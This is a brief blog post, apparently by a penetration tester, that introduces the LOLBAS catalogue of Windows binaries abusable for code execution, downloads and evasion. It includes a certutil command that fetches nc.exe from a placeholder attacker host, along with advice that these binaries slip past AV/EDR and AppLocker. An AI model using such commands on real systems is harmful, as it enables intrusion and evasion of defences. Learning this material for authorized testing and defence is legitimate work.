root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat lolbas.md
// tools

LOLBAS

22 Jul 2026 · 2 min read

What it is — LOLBAS (Living Off The Land Binaries And Scripts) is the Windows equivalent of GTFOBins: it catalogues native Windows binaries, scripts, and libraries (Microsoft-signed, already present on any installation) that can be abused to execute code, download files, evade AppLocker/Defender, or escalate privileges — without needing to upload any external tool to the system.

TypeWeb / static catalogue
CostFree
URLlolbas-project.github.io

How to use it

Every binary has its own page with examples grouped by category (Execute, Download, Bypass, Credentials, Compile...). Example of downloading a file by abusing certutil (native, no PowerShell or external tools needed):

certutil.exe -urlcache -split -f http://<ATTACKER_IP>/nc.exe C:\Windows\Temp\nc.exe

Why it matters in a real engagement: since these are already-signed binaries present by default on Windows, using them leaves a much smaller footprint and is far less likely to be blocked by an AV/EDR than uploading an external offensive tool like nc.exe directly.

What I use it for

  • When I land on a restricted Windows (AppLocker, restrictive execution policies) I look here for which already-trusted system binary I can abuse to get execution.
  • Downloading tools without curl/wget (not always available on Windows) — certutil, bitsadmin, or PowerShell are almost always present.
  • Perfect companion to GTFOBins: one for Linux, one for Windows — depending on which OS I'm facing on a given machine.

Link

lolbas-project.github.io →